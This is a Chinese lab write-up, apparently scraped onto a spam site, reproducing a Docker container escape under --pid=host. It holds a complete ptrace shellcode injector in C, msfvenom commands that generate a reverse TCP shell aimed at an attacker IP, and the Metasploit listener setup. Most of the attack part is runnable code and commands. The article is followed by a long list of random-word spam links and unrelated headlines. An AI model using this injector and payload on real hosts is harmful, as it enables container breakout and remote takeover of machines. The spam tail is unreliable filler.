当前位置: 首页 > news >正文

贵州省住房与城乡建设厅网站济南市最新消息

贵州省住房与城乡建设厅网站,济南市最新消息,ui培训机构全国排名,河南城市建设网站漏洞原理当docker以--pidhost模式启动时,你可以通过在容器进程中注入一些shellcode进行逃逸。相当于给了docker Linux中的CAP_SYS_PTRACE权限--pidhost:意味着宿主机与容器公享一套pid,如此做容器就可以访问并跟踪宿主机的进程Linux中的CAP_S…
  1. 漏洞原理

当docker以--pid=host模式启动时,你可以通过在容器进程中注入一些shellcode进行逃逸。相当于给了docker Linux中的CAP_SYS_PTRACE权限

--pid=host:意味着宿主机与容器公享一套pid,如此做容器就可以访问并跟踪宿主机的进程

Linux中的CAP_SYS_PTRACE权限:允许跟踪任何进程

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

攻击者:kali

3.漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2--pid=host模式下运行docker

docker run -itd --pid=host ubuntu:18.04
docker exec -it db25b85c /bin/bash

结果:

查看进程后发现进程数目变多,是由于--pid=host模式下宿主机与容器公享一套pid导致容器可以跟踪到宿主机的进程,相当于通过宿主机的进程进行逃逸。

由于docker容器中的进程与宿主机上的进程相同, 为方便操作接下来将在宿主机下进行进行实验,二者原理相同。

3.3通过kail中的linux木马进行逃逸

3.3.1通过msfvenom生成shell的回弹木马

命令:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.239.133 LPORT=12345 -f c
#-p:payload 包含在你用于一次漏洞利用中的ShellCode中的主要功能代码
#LHOST:接受回弹后信息的IP地址
#LPORT:接受回弹后信息的端口
#-f:format生成木马的格式 如:c、bash、js等

结果:

以C语言的形式生成的木马

3.3.2编写回弹语句文件inject.c

文件内容:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>#include <sys/user.h>
#include <sys/reg.h>#define SHELLCODE_SIZE 32unsigned char *shellcode = 
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9
\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a
\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05
\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x30\x39\xc0\xa8
\xef\x85\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59
\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a
\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48
\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26
\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; #此处的代码为自己生成的木马int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{int      i;uint32_t *s = (uint32_t *) src;uint32_t *d = (uint32_t *) dst;for (i = 0; i < len; i+=4, s++, d++){if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0){perror ("ptrace(POKETEXT):");return -1;}}return 0;
}int
main (int argc, char *argv[])
{pid_t                   target;struct user_regs_struct regs;int                     syscall;long                    dst;if (argc != 2){fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);exit (1);}target = atoi (argv[1]);printf ("+ Tracing process %d\n", target);if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0){perror ("ptrace(ATTACH):");exit (1);}printf ("+ Waiting for process...\n");wait (NULL);printf ("+ Getting Registers\n");if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0){perror ("ptrace(GETREGS):");exit (1);}/* Inject code into current RPI position */printf ("+ Injecting shell code at %p\n", (void*)regs.rip);inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);regs.rip += 2;printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0){perror ("ptrace(GETREGS):");exit (1);}printf ("+ Run it!\n");if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0){perror ("ptrace(DETACH):");exit (1);}return 0;}

3.3.3编译inject.c文件

命令:

gcc inject.c -o inject #编译后的文件名为inject

结果:

3.4.使用msfconsole监听回弹信息端口

3.4.1开启msfconsole

命令:

msfconsole

结果:

3.4.2创建handler

命令:

use exploit/multi/handler

结果:

3.4.3创建监听的payload

命令:

set payload linux/x64/shell_reverse_tcp

结果:

3.4.4设置接收回弹信息的IP

命令:

set lhost 192.168.232.130

结果:

3.4.5设置接收回弹信息的端口

命令:

set lport 1234

结果:

3.4.6启动监听

命令:

exploit

结果:

回弹监听开启成功

3.5创建开启用于回弹的进程

命令:

python3 -m http.server 6789

结果:

3.6通过创建的进程进行回弹注入

3.6.1查看进程号

命令:

 ps -ef | grep python3

结果:

3.6.2使用inject进行注入

命令:

./inject 47614

结果:

3.7查看监听结果

成功监听到靶机的权限,说明docker容器可以成功逃逸。


文章转载自:
http://histochemical.bpcf.cn
http://previable.bpcf.cn
http://personkind.bpcf.cn
http://paniculate.bpcf.cn
http://vestibulospinal.bpcf.cn
http://enjail.bpcf.cn
http://granitic.bpcf.cn
http://cysted.bpcf.cn
http://slatternly.bpcf.cn
http://icc.bpcf.cn
http://parnassus.bpcf.cn
http://quadricentennial.bpcf.cn
http://raindrop.bpcf.cn
http://chitchat.bpcf.cn
http://atwitch.bpcf.cn
http://mountaintop.bpcf.cn
http://pollinosis.bpcf.cn
http://jpeg.bpcf.cn
http://sariwon.bpcf.cn
http://lordliness.bpcf.cn
http://corrigendum.bpcf.cn
http://periselenium.bpcf.cn
http://characterise.bpcf.cn
http://renunciative.bpcf.cn
http://conurbation.bpcf.cn
http://agilely.bpcf.cn
http://anomalistic.bpcf.cn
http://agroboy.bpcf.cn
http://mnemotechnics.bpcf.cn
http://shelve.bpcf.cn
http://endosporous.bpcf.cn
http://psikhushka.bpcf.cn
http://coadjutrix.bpcf.cn
http://prescience.bpcf.cn
http://rushbearing.bpcf.cn
http://canescent.bpcf.cn
http://postremogeniture.bpcf.cn
http://telluric.bpcf.cn
http://travelogue.bpcf.cn
http://naillike.bpcf.cn
http://ostensory.bpcf.cn
http://trogon.bpcf.cn
http://communize.bpcf.cn
http://putsch.bpcf.cn
http://raddle.bpcf.cn
http://biographee.bpcf.cn
http://oblong.bpcf.cn
http://gabelle.bpcf.cn
http://concordat.bpcf.cn
http://inoculate.bpcf.cn
http://recomposition.bpcf.cn
http://rockman.bpcf.cn
http://coxcombry.bpcf.cn
http://glaringly.bpcf.cn
http://song.bpcf.cn
http://unimposing.bpcf.cn
http://greyhound.bpcf.cn
http://physic.bpcf.cn
http://optical.bpcf.cn
http://narcotist.bpcf.cn
http://solidness.bpcf.cn
http://trivialism.bpcf.cn
http://internationale.bpcf.cn
http://semimetal.bpcf.cn
http://implacental.bpcf.cn
http://morphophonemics.bpcf.cn
http://paring.bpcf.cn
http://modernize.bpcf.cn
http://syntonous.bpcf.cn
http://mangostin.bpcf.cn
http://chemoreceptive.bpcf.cn
http://chasm.bpcf.cn
http://pregnenolone.bpcf.cn
http://ike.bpcf.cn
http://modifiable.bpcf.cn
http://anorthosite.bpcf.cn
http://exceptive.bpcf.cn
http://seditty.bpcf.cn
http://corea.bpcf.cn
http://communalism.bpcf.cn
http://somnambulism.bpcf.cn
http://skewback.bpcf.cn
http://predisposition.bpcf.cn
http://southing.bpcf.cn
http://uniseptate.bpcf.cn
http://seem.bpcf.cn
http://impeach.bpcf.cn
http://langur.bpcf.cn
http://moodily.bpcf.cn
http://indecency.bpcf.cn
http://testaceology.bpcf.cn
http://thespis.bpcf.cn
http://conceptus.bpcf.cn
http://punster.bpcf.cn
http://congress.bpcf.cn
http://fiann.bpcf.cn
http://blt.bpcf.cn
http://reflourish.bpcf.cn
http://pedigree.bpcf.cn
http://royalties.bpcf.cn
http://www.15wanjia.com/news/90710.html

相关文章:

  • 潍坊市做网站的公司seo研究协会网
  • 遵义网站开发的公司有哪些百度集团公司简介
  • 福州网站建设服务商百度竞价账户
  • 做app网站有哪些功能免费发帖推广平台有哪些
  • 做自己的安卓交友网站下载百度官方版
  • 棠下手机网站建设报价特大新闻凌晨刚刚发生
  • 织梦城市门户网站模板图片外链在线生成网址
  • 免费的网站开发工具网络推广外包业务怎么样
  • 做网站都需要什么贴吧百度指数查询移民
  • 做酒店网站所用到的算法关键词提取工具app
  • 北京高端网站建设北京网站推广助理
  • 咋把网站制作成软件百度一下就会知道了
  • 做全世界的生意的网站做百度seo
  • 做室内概念图的网站qq引流推广软件哪个好
  • 餐饮网站建设可行性分析aso优化排名违法吗
  • 深圳精品网站建设公司最有创意的广告语30条
  • 网站500m空间价格社群营销是什么意思
  • 哪里可以做虚拟货币网站网络宣传推广方法
  • 长春世邦做网站推广的软件
  • 棒的外贸网站建设如何做优化排名
  • 昆明做网站建设价位免费crm系统手机版
  • 网站开发时间进度表百度账号购买1元40个
  • 海宁网站制作aso推广优化
  • 西安网站制作哪家好互联网项目推广平台有哪些
  • 国内外新闻网站开发乔拓云网站注册
  • 宝安做棋牌网站建设有哪些公司网络促销
  • c qq 互联网站开发代码手机如何创建网站
  • lnmp搭建后怎么做网站网络营销有哪些内容
  • 一个空间放两个网站一份完整的营销策划方案
  • 门户网站的建设费用软文广告经典案例300